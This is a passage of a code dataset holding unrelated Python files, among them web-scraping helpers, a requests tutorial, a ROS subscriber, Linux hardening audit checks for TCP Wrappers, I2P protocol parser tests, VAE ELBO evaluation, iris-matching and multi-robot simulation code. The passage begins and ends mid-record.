f\"疫情上报失败，原因：{msg}{datetime.datetime.today().strftime('%Y-%m-%d %H:%M:%S')}\"\n    if 'api_key' in args and not is_successful:\n        requests.get(f\"https://sc.ftqq.com/{args.api_key}.send?text={txt}\")\n    return make_result(code=200 if is_successful else 403, message=txt)\n","sub_path":"api/tasks/app_epidemic_report.py","file_name":"app_epidemic_report.py","file_ext":"py","file_size_in_byte":2505,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"360808909","text":"# !usr/bin/python\n# -*- coding:utf-8 -*-\n\nimport requests\nimport time\nfrom lxml import etree\n\ndef get_url_json(url, headers = None):\n    res = False\n    while res == False:\n        time.sleep(0.3)\n        try:\n            response  = requests.get(url, headers=headers)\n            res = True\n            return response.json()\n        except:\n            print('get_url_json err,err url =', url)\n            res = False\n    \n\ndef get_url_html(url):\n    res = False\n    while res == False:\n        time.sleep(0.3)\n        try:\n            response  = requests.get(url)\n            if response.status_code == 500:\n                return ''\n            html = etree.HTML(response.text)\n            res = True\n            return html\n        except:\n            print('get_url_html err,err url =', url)\n            res = False","sub_path":"common_fun.py","file_name":"common_fun.py","file_ext":"py","file_size_in_byte":822,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"385285742","text":"from node import Node, BeaconBlock, MainChainBlock, ShardCollation\nimport matplotlib\nmatplotlib.use('Agg')\nimport matplotlib.pyplot as plt\nimport networkx as nx\nimport random, time\n\n\n##  This methods creates an offset for plotting blocks of the main chain,\n#   the beacon chain and all the shards\n#   @param b    Block to be plotted\ndef mkoffset(b):\n    return random.randrange(5) + \\\n        (0 if isinstance(b, MainChainBlock) else\n         5 if isinstance(b, BeaconBlock) else\n         5 + 5 * b.shard_id if isinstance(b, ShardCollation) else\n         None)\n\n\n##  This method plots the blockchain as seen from one of the notaries\n#   @param n    The notarie to plot its view of the chain\ndef plotChain(n):\n    G=nx.Graph()\n    fileName = \"results/chain-\" + str(n.id) + \".png\"\n    for b in n.blocks.values():\n        if b.number > 0:\n            if isinstance(b, BeaconBlock):\n                G.add_edge(b.hash, b.main_chain_ref, color='c')\n                G.add_edge(b.hash, b.parent_hash, color='g')\n            elif isinstance(b, MainChainBlock):\n                G.add_edge(b.hash, b.parent_hash, color='b')\n            elif isinstance(b, ShardCollation):\n                G.add_edge(b.hash, b.beacon_ref, color='r')\n                G.add_edge(b.hash, b.parent_hash, color='y')\n    plt.clf()\n    fig = plt.figure(figsize=(18,9))\n    pos={b.hash: (b.ts + mkoffset(b), b.ts) for b in n.blocks.values()}\n    edges = G.edges()\n    colors = [G[u][v]['color'] for u,v in edges]\n    nx.draw_networkx_nodes(G, pos, node_size=10, node_shape='o', node_color='0.75')\n    nx.draw_networkx_edges(G, pos, width=2, edge_color=colors)\n    plt.ylabel(\"Time (ticks)\")\n    plt.savefig(fileName, bbox_inches=\"tight\")\n    plt.close()\n\n\n##  This method plots the peer to peer network of the blockchain being\n#   simulated\n#   @param peers    The peer to peer network to plot\n#   @param dir      The directory where the figure should be saved\ndef plotNetwork(peers, dir):\n    plt.clf()\n    G=nx.Graph()\n    fig = plt.figure(figsize=(18,9))\n    for peer in peers:\n        G.add_node(str(peer))\n        for p in peers.get(peer):\n            G.add_edge(str(peer), str(p.id))\n    nx.draw(G, with_labels=True)\n    plt.axis(\"off\")\n    plt.savefig(dir+\"/network.png\", bbox_inches=\"tight\")\n\n\n","sub_path":"lshards/src/plot.py","file_name":"plot.py","file_ext":"py","file_size_in_byte":2265,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"616531572","text":"# section04-1\n# requests scrapping - Session\n\nimport requests\n\n# Activate Session\ns = requests.session()\n\nr = s.get('https://www.google.com')\n\n# response data\nprint(r.text)\n\n# Status 200,201,404.......\nprint('Status Code : {}'.format(r.status_code))\n\n# check True, False\nprint('OK? : {}'.format(r.ok))\n\ns = requests.session()\n\n# cookie Return\n\nr1 = s.get(\"https://httpbin.org/cookies\", cookies={'name' : 'seo1'})\nprint(r1.text)\n\n# cookie Set\nr2 = s.get(\"https://httpbin.org/cookies/set\", cookies={'name' : 'seo2'})\nprint(r2.text)\n\n\n# User-agent\nurl = \"https://httpbin.org\"\nheaders = {'user-agent' : 'niceman_1.0.0_win10_ram16_home_chrome'}\n\n# header request\nr3 = s.get(url, headers=headers, cookies={'name' : 'seo1'})\n# print(r3.text)\n\n# Deactivate Session\ns.close()\n\n# with -> File, DB, HTTP\nwith requests.session() as s:\n    r = s.get('https://www.google.com')\n    # print(r.text)\n    print(r.ok)\n\n\n\n","sub_path":"section04-1.py","file_name":"section04-1.py","file_ext":"py","file_size_in_byte":902,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"507616798","text":"# Create a class the displays the Elevator art and navigation (list of commands)\n\nclass View():\n    building_levels = 12\n    building_width = 35\n\n    def intro(self, position, people):\n        print(\"\\n----- THE MIGHTY ELEVATOR -----\\n\")\n        print(\"People in the elevator: {} (max. 5)\\nElevator position: {}\\n\".format(people, position))\n        print(self.draw_top())\n        print(self.draw_levels(position, people))\n        print(self.draw_bottom())\n        print(self.nav())\n        print(\"\\nWhat would you like to do?\")\n\n    def draw_top(self):\n        top1 = \"\"\n        for i in range(self.building_width):\n            top1 += \"_\"\n        top2 = \"'\"\n        for j in range(1, self.building_width-1):\n            top2 += \" \"\n        top2 += \"'\"\n        top3 = \" '\"\n        for i in range(2, self.building_width-2):\n            top3 += \"_\"\n        top3 += \"'\"\n        return top1 + \"\\n\" + top2 + \"\\n\" + top3\n\n    def draw_levels(self, position, people):\n        levels = \"\"\n        for i in range(self.building_levels, 0, -1):\n            if i == 1 and position != 1:\n                levels += \" \"*2 + \"_\" + \"||_\"*2 + \"_\"*6 + \"||_\"*2 + \"_\"*6 + \"||_\"*2\n            elif i == position and position != 1:\n                levels += self.draw_elevator(position, people)\n            elif i == position and position == 1:\n                levels += self.draw_elevator(position, people)\n            else:\n                levels += \" \"*3 + \"|| \"*2 + \" \"*6 + \"|| \"*2 + \" \"*6 + \"|| \"*2 + \"\\n\"\n        return levels\n\n    def draw_bottom(self):\n        line2 = \"'\"\n        for j in range(1, self.building_width-1):\n            line2 += \" \"\n        line2 += \"'\"\n        line3 = \"|\"\n        for i in range(1, self.building_width-1):\n            line3 += \"_\"\n        line3 += \"|\"\n        return line2 + \"\\n\" + line3\n\n    def draw_elevator(self, position, people):\n        elevator = \"\"\n        if position != 1 and people == 0:\n            elevator += \" \"*3 + \"|| \"*2 + \"[   ] \" + \"|| \"*2 + \" \"*6 + \"|| \"*2 + \"\\n\"\n        elif position == 1 and people == 0:\n            elevator += \" \"*2 + \"_\" + \"||_\"*2 + \"[___]_\" + \"||_\"*2 + \"_\"*6 + \"||_\"*2\n        elif position != 1 and people > 0:\n            elevator += \" \"*3 + \"|| \"*2 + \"[ X ] \" + \"|| \"*2 + \" \"*6 + \"|| \"*2 + \"\\n\"\n        elif position == 1 and people > 0:\n            elevator += \" \"*2 + \"_\" + \"||_\"*2 + \"[_X_]_\" + \"||_\"*2 + \"_\"*6 + \"||_\"*2\n        return elevator\n\n    def nav(self):\n        return(\"\\n---- CONTROLS ----\\n\\nto X - enter a number to move to floor\\nin X - enter a number to add people to the elevator\\nout X - enter a number to remove people from the elevator\\nexit - exit the application\")\n\n    def invalid_command(self):\n        print(\"Please enter a valid command.\")\n        print(\"\\nPress a button to refresh!\")\n        user_error = input()\n\n#newele = View()\n#print(newele.draw_top())\n#print(newele.draw_levels(1, 1))\n#print(newele.draw_bottom())\n#print(newele.nav())\n","sub_path":"week-05/day-04/elevator/elevator_view.py","file_name":"elevator_view.py","file_ext":"py","file_size_in_byte":2937,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"511491581","text":"#!/usr/bin/env python3\n#coding: utf-8\n\nimport rospy\nfrom std_msgs.msg import String\nfrom nav_msgs.msg import Odometry\nfrom cmoon_msgs.msg import location\n\n\ndef callback(msg):\n    rospy.loginfo('callback')\n    ll=location()\n    ll.location='living room'\n    ll.x=1.0\n    ll.y=2.0\n    pub=rospy.Publisher('location',location,queue_size=10)\n    pub.publish(ll)\n    rospy.loginfo('location:{} x:{} y{}'.format(ll.location,ll.x,ll.y))\n\ndef main():\n    rospy.init_node('test1')\n    rospy.Subscriber('/odom',Odometry,callback)\n    # pub=rospy.Publisher('location',location,queue_size=10)\n    # ll=location()\n    # ll.location='living room'\n    # ll.x=1.0\n    # ll.y=2.0\n    # rate=rospy.Rate(1)\n    # while not rospy.is_shutdown():\n    #     pub.publish(ll)\n    #     rospy.loginfo('location:{} x:{} y{}'.format(ll.location,ll.x,ll.y))\n    #     rate.sleep()\n    rospy.spin()\n\nif __name__ == '__main__':\n    try:\n        main()\n    except rospy.ROSInterruptException:\n        rospy.loginfo(\"Keyboard interrupt.\")","sub_path":"src/remake/src/subscriber.py","file_name":"subscriber.py","file_ext":"py","file_size_in_byte":1005,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"372108632","text":"import os\nimport source\n\n\n# --- 3.4.1 Ensure TCP Wrappers is installed (Scored) ---#\n\ndef check_tcp_wrappers_is_installed():\n    config = 'Ensure TCP Wrappers is installed (Scored)'\n\n    command1 = 'rpm -q tcp_wrappers'\n    command2 = 'rpm -q tcp_wrappers-libs'\n    output = 'not installed'\n\n    print('checking \"' + config + '\" ..... ')\n\n    terminal_variable = os.popen(command1)\n    terminal_output1 = terminal_variable.read()\n\n    terminal_variable = os.popen(command2)\n    terminal_output2 = terminal_variable.read()\n\n    if output in terminal_output1 and output in terminal_output2:\n        source.return_function(False, config)\n    else:\n        source.return_function(True, config)\n\n\n# --- 3.4.3 Ensure /etc/hosts.deny is configured (Scored) ---- #\n\ndef check_etc_hosts_deny_is_configured():\n    config = '3.4.3 Ensure /etc/hosts.deny is configured (Scored)'\n    command = 'cat /etc/hosts.deny'\n    output = 'ALL: ALL'\n    source.output_isIn_terminal_output(config, command, output)\n\n\n# ---- 3.4.4 Ensure permissions on /etc/hosts.allow are configured (Scored) ---#\n\ndef check_permissions_on_etc_hosts_allow_isConfigured():\n    config = '3.4.4 Ensure permissions on /etc/hosts.allow are configured (Scored)'\n    command = 'stat /etc/hosts.allow'\n    output = 'Access:(0644/-rw-r--r--)Uid:(0/root)Gid:(0/root)'\n\n    print('checking \"' + config + '\" ..... ')\n    terminal_variable = os.popen(command)\n    terminal_output = terminal_variable.read().replace(' ', '')\n\n    if output in terminal_output:\n        source.return_function(True, config)\n    else:\n        source.return_function(False, config)\n\n\n# ---- 3.4.4 Ensure permissions on /etc/hosts.deny are configured (Scored) ---#\n\ndef check_permissions_on_etc_hosts_deny_isConfigured():\n    config = '3.4.5 Ensure permissions on /etc/hosts.deny are configured (Scored)'\n    command = 'stat /etc/hosts.allow'\n    output = 'Access:(0644/-rw-r--r--)Uid:(0/root)Gid:(0/root)'\n\n    print('checking \"' + config + '\" ..... ')\n    terminal_variable = os.popen(command)\n    terminal_output = terminal_variable.read().replace(' ', '')\n\n    if output in terminal_output:\n        source.return_function(True, config)\n\n    else:\n        source.return_function(False, config)\n","sub_path":"networkConfiguration/tcpWrappers.py","file_name":"tcpWrappers.py","file_ext":"py","file_size_in_byte":2221,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"226834471","text":"\"\"\"\nconclusions.py\n\n* Copyright (c) 2006-2009, University of Colorado.\n* All rights reserved.\n*\n* Redistribution and use in source and binary forms, with or without\n* modification, are permitted provided that the following conditions are met:\n*     * Redistributions of source code must retain the above copyright\n*       notice, this list of conditions and the following disclaimer.\n*     * Redistributions in binary form must reproduce the above copyright\n*       notice, this list of conditions and the following disclaimer in the\n*       documentation and/or other materials provided with the distribution.\n*     * Neither the name of the University of Colorado nor the\n*       names of its contributors may be used to endorse or promote products\n*       derived from this software without specific prior written permission.\n*\n* THIS SOFTWARE IS PROVIDED BY THE UNIVERSITY OF COLORADO ''AS IS'' AND ANY\n* EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n* WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n* DISCLAIMED. IN NO EVENT SHALL THE UNIVERSITY OF COLORADO BE LIABLE FOR ANY\n* DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\"\"\"\n\n#import confidence\nimport samples\n\n__ALL_SAMPLES = 0\n\ncurState = 0\n\nconclusions = [\"no process\", ]\nspecial = {\"outlier\":__ALL_SAMPLES}\n    \ndef reset():\n    \"\"\"\n    Resets the conclusion state for starting up a new set of samples.\n    Call this in between each thingymajig\n    \"\"\"\n    global curState\n    curState = 0\n\ndef getConclusions():\n    \"\"\"\n    this function returns the list of conclusions that the engine should argue about. All\n    parameters should be pre-entered.\n    \"\"\"\n    \n    #can't do this with a list comprehension. Sigh.\n    result = []\n    for conclusion in conclusions:\n        if conclusion in special:\n            result.extend(__fillParams(conclusion))\n        else:\n            result.append(Conclusion(conclusion))\n    \n    return result\n\n    \ndef __fillParams(conclusion):\n    \"\"\"\n    fills in parameters for conclusions and then returns the appropriate list of conclusion objects \n    based on the type ID passed in.\n    \"\"\"\n    \n    #conclusions should never be passed here anymore unless they're special ones\n    \n    if special[conclusion] == __ALL_SAMPLES:\n        return [Conclusion(conclusion, [sample]) for sample in samples.sampleList]\n\nclass Conclusion:\n    \"\"\"\n    Contains the symbol (name) of a specific instance of a conclusion plus the list of arguments\n    applicable to this specific conclusion (like outlier x).\n    \n    Also represents the same thing but with arguments filled in (like outlier 2)\n    \"\"\"\n    def __init__(self, name, paramList=None):\n        self.name = name\n        self.paramList = paramList\n        if paramList is not None and len(paramList) == 0:\n            self.paramList = None\n        \n    def __eq__(self, other):\n        if isinstance(other, Conclusion):\n            return self.name == other.name and \\\n                (self.paramList is None and other.paramList is None or \\\n                (self.paramList is not None and other.paramList is not None and\n                 len(self.paramList) == len(other.paramList)))\n        else:\n            return False\n        \n    def __repr__(self):\n        st = self.name.title()\n        if self.paramList is not None:\n            st += ': ' + ', '.join([str(param) for param in self.paramList]) #+ ')'\n        return st\n    \n    def buildEnv(self, filledConc):\n        \"\"\"\n        builds an initial environment from this conclusion and a filled version of the\n        same conclusion (passed as a parameter). Initial environment values are also\n        included in the result. Environments are dictionaries.\n        \"\"\"\n        \n        if self.paramList is None and filledConc.paramList is None:\n            return samples.initEnv.copy()\n        \n        if self.paramList is None or \\\n           filledConc.paramList is None or \\\n           len(filledConc.paramList) != len(self.paramList):\n            raise ValueError(\"Attempt to use a rule with incorrect number of conclusion parameters\")\n        \n        env = dict(zip(self.paramList, filledConc.paramList))\n        \n        env.update(samples.initEnv)\n        \n        #if self.name == 'representative sample' or self.name == 'outlier':\n        #    print self, env\n        return env\n        \n    \n\n        \n","sub_path":"src/calvin/reasoning/conclusions.py","file_name":"conclusions.py","file_ext":"py","file_size_in_byte":4779,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"323259197","text":"# Copyright (c) str4d <str4d@mail.i2p>\n# See COPYING for details.\n\nimport unittest\n\nfrom parsley import makeGrammar, ParseError\n\nfrom txi2p.grammar import bobGrammarSource\n\n\nbobGrammar = makeGrammar(bobGrammarSource, {})\n\ndef stringParserFromRule(grammar, rule):\n    def parseString(s):\n        return getattr(grammar(s), rule)()\n    return parseString\n\n\nclass TestBOBGrammar(unittest.TestCase):\n    def _test(self, rule, data, expected):\n        parse = stringParserFromRule(bobGrammar, rule)\n        result = parse(data)\n        self.assertEqual(result, expected)\n\n    def test_BOB_clear(self):\n        self._test('BOB_clear', 'OK cleared\\n', (True, 'cleared'))\n        self._test('BOB_clear', 'ERROR tunnel is active\\n', (False, 'tunnel is active'))\n\n    def test_BOB_getdest(self):\n        self._test('BOB_getdest', 'OK spam\\n', (True, 'spam'))\n\n    def test_BOB_getkeys(self):\n        self._test('BOB_getkeys', 'OK spameggs\\n', (True, 'spameggs'))\n\n    def test_BOB_list(self):\n        spam = {\n            'nickname': 'spam',\n            'starting': False,\n            'running': True,\n            'stopping': False,\n            'keys': True,\n            'quiet': False,\n            'inport': '12345',\n            'inhost': 'localhost',\n            'outport': '23456',\n            'outhost': 'localhost'\n        }\n        eggs = {\n            'nickname': 'eggs',\n            'starting': False,\n            'running': False,\n            'stopping': False,\n            'keys': True,\n            'quiet': False,\n            'inport': 'not_set',\n            'inhost': 'localhost',\n            'outport': 'not_set',\n            'outhost': 'localhost'\n        }\n\n        self._test('BOB_list', 'OK Listing done\\n', (True, 'Listing done', []))\n        self._test('BOB_list', 'DATA NICKNAME: spam STARTING: false RUNNING: true STOPPING: false KEYS: true QUIET: false INPORT: 12345 INHOST: localhost OUTPORT: 23456 OUTHOST: localhost\\nDATA NICKNAME: eggs STARTING: false RUNNING: false STOPPING: false KEYS: true QUIET: false INPORT: not_set INHOST: localhost OUTPORT: not_set OUTHOST: localhost\\nOK Listing done\\n', (True, 'Listing done', [spam, eggs]))\n        self._test('BOB_list', 'ERROR ni!\\n', (False, 'ni!', []))\n","sub_path":"txi2p/test/test_grammar.py","file_name":"test_grammar.py","file_ext":"py","file_size_in_byte":2218,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"376555368","text":"import torch\nimport math\n\n\ndef estimate_entropies(qz_samples, qz_params, q_dist):\n    \"\"\"Computes the term:\n        E_{p(x)} E_{q(z|x)} [-log q(z)]\n    and\n        E_{p(x)} E_{q(z_j|x)} [-log q(z_j)]\n    where q(z) = 1/N sum_n=1^N q(z|x_n).\n\n    Assumes samples are from q(z|x) for *all* x in the dataset.\n    Assumes that q(z|x) is factorial ie. q(z|x) = prod_j q(z_j|x).\n\n    Computes numerically stable NLL:\n        - log q(z) = log N - logsumexp_n=1^N log q(z|x_n)\n\n    Inputs:\n    -------\n        qz_samples (K, S) Variable\n        qz_params  (N, K, nparams) Variable\n    \"\"\"\n\n    # Only take a sample subset of the samples\n    qz_samples = qz_samples.index_select(1, Variable(torch.randperm(qz_samples.size(1))[:10000].cuda()))\n\n    K, S = qz_samples.size()\n    N, _, nparams = qz_params.size()\n    assert(nparams == q_dist.nparams)\n    assert(K == qz_params.size(1))\n\n    marginal_entropies = torch.zeros(K).cuda()\n    joint_entropy = torch.zeros(1).cuda()\n\n    pbar = tqdm(total=S)\n    k = 0\n    while k < S:\n        batch_size = min(10, S - k)\n        logqz_i = q_dist.log_density(\n            qz_samples.view(1, K, S).expand(N, K, S)[:, :, k:k + batch_size],\n            qz_params.view(N, K, 1, nparams).expand(N, K, S, nparams)[:, :, k:k + batch_size])\n        k += batch_size\n\n        # computes - log q(z_i) summed over minibatch\n        marginal_entropies += (math.log(N) - logsumexp(logqz_i, dim=0, keepdim=False).data).sum(1)\n        # computes - log q(z) summed over minibatch\n        logqz = logqz_i.sum(1)  # (N, S)\n        joint_entropy += (math.log(N) - logsumexp(logqz, dim=0, keepdim=False).data).sum(0)\n        pbar.update(batch_size)\n    pbar.close()\n\n    marginal_entropies /= S\n    joint_entropy /= S\n\n    return marginal_entropies, joint_entropy\n\n\ndef elbo_decomposition(z_dim, nparams, dataset_loader):\n    n = len(dataset_loader.dataset)\n    S = 1\n\n    print('Computing q(z|x) distributions.')\n    # compute the marginal q(z_j|x_n) distributions\n    qz_params = torch.Tensor(n, z_dim, nparams)\n\n    n = 0\n    logpx = 0\n\n    for xs in dataset_loader:\n        batch_sz = xs.size(0)\n        xs = Variable(xs.view(batch_size, -1, 64, 64).cuda(), volatile=True)\n        z_params = vae.encoder.forward(xs).view(batch_size, K, nparams)\n        qz_params[n:n + batch_size] = z_params.data\n        n += batch_size\n\n        # estimate reconstruction term\n        for _ in range(S):\n            z = vae.q_dist.sample(params=z_params)\n            x_params = vae.decoder.forward(z)\n            logpx += vae.x_dist.log_density(xs, params=x_params).view(batch_size, -1).data.sum()\n\n    logpx = logpx / (N * S)\n\n    qz_params = Variable(qz_params.cuda(), volatile=True)\n\n    print('Sampling from q(z).')\n    # sample S times from each marginal q(z_j|x_n)\n    qz_params_expanded = qz_params.view(N, K, 1, nparams).expand(N, K, S, nparams)\n    qz_samples = vae.q_dist.sample(params=qz_params_expanded)\n    qz_samples = qz_samples.transpose(0, 1).contiguous().view(K, N * S)\n\n    print('Estimating entropies.')\n    marginal_entropies, joint_entropy = estimate_entropies(qz_samples, qz_params, vae.q_dist)\n\n    if hasattr(vae.q_dist, 'NLL'):\n        nlogqz_condx = vae.q_dist.NLL(qz_params).mean(0)\n    else:\n        nlogqz_condx = - vae.q_dist.log_density(qz_samples,\n                                                qz_params_expanded.transpose(0, 1).contiguous().view(K, N * S)).mean(1)\n\n    if hasattr(vae.prior_dist, 'NLL'):\n        pz_params = vae._get_prior_params(N * K).contiguous().view(N, K, -1)\n        nlogpz = vae.prior_dist.NLL(pz_params, qz_params).mean(0)\n    else:\n        nlogpz = - vae.prior_dist.log_density(qz_samples.transpose(0, 1)).mean(0)\n\n    # nlogqz_condx, nlogpz = analytical_NLL(qz_params, vae.q_dist, vae.prior_dist)\n    nlogqz_condx = nlogqz_condx.data\n    nlogpz = nlogpz.data\n\n    # Independence term\n    # KL(q(z)||prod_j q(z_j)) = log q(z) - sum_j log q(z_j)\n    dependence = (- joint_entropy + marginal_entropies.sum())[0]\n\n    # Information term\n    # KL(q(z|x)||q(z)) = log q(z|x) - log q(z)\n    information = (- nlogqz_condx.sum() + joint_entropy)[0]\n\n    # Dimension-wise KL term\n    # sum_j KL(q(z_j)||p(z_j)) = sum_j (log q(z_j) - log p(z_j))\n    dimwise_kl = (- marginal_entropies + nlogpz).sum()\n\n    # Compute sum of terms analytically\n    # KL(q(z|x)||p(z)) = log q(z|x) - log p(z)\n    analytical_cond_kl = (- nlogqz_condx + nlogpz).sum()\n\n    print('Dependence: {}'.format(dependence))\n    print('Information: {}'.format(information))\n    print('Dimension-wise KL: {}'.format(dimwise_kl))\n    print('Analytical E_p(x)[ KL(q(z|x)||p(z)) ]: {}'.format(analytical_cond_kl))\n    print('Estimated  ELBO: {}'.format(logpx - analytical_cond_kl))\n\n    return logpx, dependence, information, dimwise_kl, analytical_cond_kl, marginal_entropies, joint_entropy\n\n\nif __name__ == '__main__':\n\n    vae, dataset_loader = load_model_and_dataset(args.checkpt)\n    logpx, dependence, information, dimwise_kl, analytical_cond_kl, marginal_entropies, joint_entropy = \\\n        elbo_decomposition(vae, dataset_loader)\n    torch.save({\n        'logpx': logpx,\n        'dependence': dependence,\n        'information': information,\n        'dimwise_kl': dimwise_kl,\n        'analytical_cond_kl': analytical_cond_kl,\n        'marginal_entropies': marginal_entropies,\n        'joint_entropy': joint_entropy\n    }, os.path.join(args.save, 'elbo_decomposition.pth'))\n","sub_path":"elbo_evaluation.py","file_name":"elbo_evaluation.py","file_ext":"py","file_size_in_byte":5396,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"605747860","text":"#!usr/bin/python\nimport sys\nfrom os import path\nimport numpy as np\n\nfrom convolver import EyeCoord, GaborFunc, ImgToBinSpectrum, HammingDist, FitToRange255, LogGaborFunc\nfrom PIL import Image\nfrom multiprocessing import Pool\n\nimport cProfile\n\ndef get_data_dict(data_path, imgs_path):\n\tres_dict = dict()\n\twith open(data_path, 'r') as data_file:\n\t\ti = 0\n\t\tk = 0\n\t\tfor line in data_file:\n\t\t\tline_items = line.split()\n\t\t\timg_name = line_items[0]\n\t\t\tk += 1\n\t\t\tif path.exists(imgs_path + '/' + img_name):\n\t\t\t\ti += 1\n\t\t\t\tres_dict[img_name] = EyeCoord(\tx1=np.array([int(i) for i in line_items[6:8]]),\n\t\t\t\t\t\t\t\t\t\t\t\tr1=int(line_items[8]),\n\t\t\t\t\t\t\t\t\t\t\t\tx2=np.array([int(i) for i in line_items[11:13]]),\n\t\t\t\t\t\t\t\t\t\t\t\tr2=int(line_items[13]))\n\tprint(i, k)\n\treturn res_dict\n\n\ndef is_test_img(name):\n#\treturn 1\n\treturn int(name[:4]) in range(2001, 2151)\n\t#return 'R' in name and int(name[:4]) in range(2001, 2151)\n\t#return 'L' in name and int(name[:4]) in range(2001, 2151)\n\n\ndef ImageSpectrum(arg_tuple):\n\teye_name, eye_coord, imgs_path = arg_tuple\n\tspectr_size = (256, 64)\n\tsigma = 17\n\tT = 8\n\timg_path = imgs_path + '/' + eye_name\n\treturn ImgToBinSpectrum(img_path, eye_coord, spectr_size, LogGaborFunc, S=1/sigma, W=1/T)\n\t#return ImgToBinSpectrum(img_path, eye_coord, spectr_size, GaborFunc, S=1/sigma, W=1/T)\n\ndef HammDistMatrix(imgs_path, imgs_dict):\n\tdist_same = []\n\tdist_diff = []\n\t\n\timg_to_idx = dict()\n\tidx_to_img = dict()\n\tpool = Pool(4)\n\n\tfor idx, (eye_name, _) in enumerate(imgs_dict.items()):\n\t\timg_to_idx[eye_name] = idx\n\t\tidx_to_img[idx] = eye_name\n\n\targ_tuples = list(zip(imgs_dict.keys(), imgs_dict.values(), [imgs_path] * len(imgs_dict)))\n\n\tspectrums = pool.map(ImageSpectrum, arg_tuples)\n\n\tassert len(imgs_dict) == len(spectrums)\n\timg_to_spectrum = dict(zip(imgs_dict.keys(), spectrums))\n\n\tfor x in range(len(imgs_dict)):\n\t\tspectr_x = img_to_spectrum[idx_to_img[x]]\n\t\tfor y in range(x + 1, len(imgs_dict)):\n\t\t\tspectr_y = img_to_spectrum[idx_to_img[y]]\n\n\t\t\tdist = HammingDist(spectr_x, spectr_y)\n\t\t\tprint(dist)\n\t\t\t#Image.fromarray(FitToRange255(spectr_x).T, 'L').save('./tmp/spectr_' + idx_to_img[x])\n\t\t\tif idx_to_img[y][:5] == idx_to_img[x][:5]:\n\t\t\t\tdist_same.append(dist)\n\t\t\t\t#print('same', idx_to_img[y], idx_to_img[x], '->', dist)\n\t\t\telse:\n\t\t\t\tdist_diff.append(dist)\n\t\t\t\t#print('diff', idx_to_img[y], idx_to_img[x], '->', dist)\n\n\treturn dist_same, dist_diff\n\n\nif __name__ == '__main__':\n\tif len(sys.argv) < 3:\n\t\tprint('Not enough args')\n\t\tsys.exit(1)\n\n\n#\ttry:\n\n\tdata_path = sys.argv[1]\n\timgs_path = sys.argv[2]\n\n\tdata_dict = get_data_dict(data_path, imgs_path)\n\tprint(len(data_dict))\n\ttest_set = dict((key,value) for key, value in data_dict.items() if is_test_img(key))\n\tprint(len(test_set))\n\n\t#cProfile.run('HammDistMatrix(imgs_path, dict(list(test_set.items())[:50]))')\n\tsame, diff = HammDistMatrix(imgs_path, test_set)\n\tf = open('same.txt', 'w')\n\tf.write(' '.join([str(int(j)) for j in same]))\n\tf.close()\n\tf = open('diff.txt', 'w')\n\tf.write(' '.join([str(i) for i in list(diff)]))\n\tf.close()\n\n#\texcept Exception as e:\n#\t\tprint(e)\n#\t\tsys.exit(1)","sub_path":"img_data.py","file_name":"img_data.py","file_ext":"py","file_size_in_byte":3050,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"205930412","text":"import pickle\nfrom helper.Reynolds import *\nfrom helper.MRSAnalytics import *\nfrom helper.Plotter import *\nfrom helper.Trainer import *\nfrom helper.DataGenerator import *\nfrom torch.distributions import *\nfrom mrsgym.Util import *\nimport os\nfrom matplotlib import pyplot as plt\n\n\n\ndef main():\n\t# Parameters\n\tN = 12\n\tD = 6\n\tK = 1\n\tCOMM_RANGE = 2.5\n\tdatapoints = 1000\n\tepisode_length = 200\n\theadless = True\n\tleader = True\n\t# File Paths\n\tdir_path = \"data\"\n\tevaldata_path = os.path.join(dir_path, \"%s_data.pt\")\n\ttry:\n\t\tos.mkdir(dir_path)\n\texcept FileExistsError:\n\t\tpass\n\t# Initialise Models\n\treynolds = Reynolds(N, D, 1, 3)\n\tmodels = {\"reynolds\": reynolds, \"random\": RandomController(OUT_DIM=3)} # we will compare reynolds flocking to a random model\n\t# Create Environment\n\tz = Uniform(low=2.0*torch.ones(N,1), high=5.0*torch.ones(N,1))\n\txy_normal = Normal(torch.zeros(N,2), 1.0)\n\tdist = CombinedDistribution([xy_normal, z], mixer='cat', dim=1) # create custom starting state distribution\n\tenv = gym.make('mrs-v0', state_fn=state_fn, update_fn=update_fn, N_AGENTS=N, START_POS=dist, K_HOPS=1, COMM_RANGE=COMM_RANGE, ACTION_TYPE='set_target_vel', HEADLESS=headless)\n\tstartpos = [env.generate_start_pos() for _ in range(int(datapoints/episode_length*2))]\n\tenv.START_POS = StartPosGenerator(startpos) # use the same starting state for each model\n\t# Generate and Analyse Data\n\tanalysers = {}\n\tfor name, model in models.items():\n\t\tprint(name)\n\t\tdata = Trainer(K=K)\n\t\tis_data_loaded = data.load_trainer(path=evaldata_path % name) # load simulation data if it exists\n\t\tif not is_data_loaded: # generate data if it does not exist\n\t\t\tdata.save_trainer_onexit(path=evaldata_path % name)\n\t\t\tsimulate(env=env, 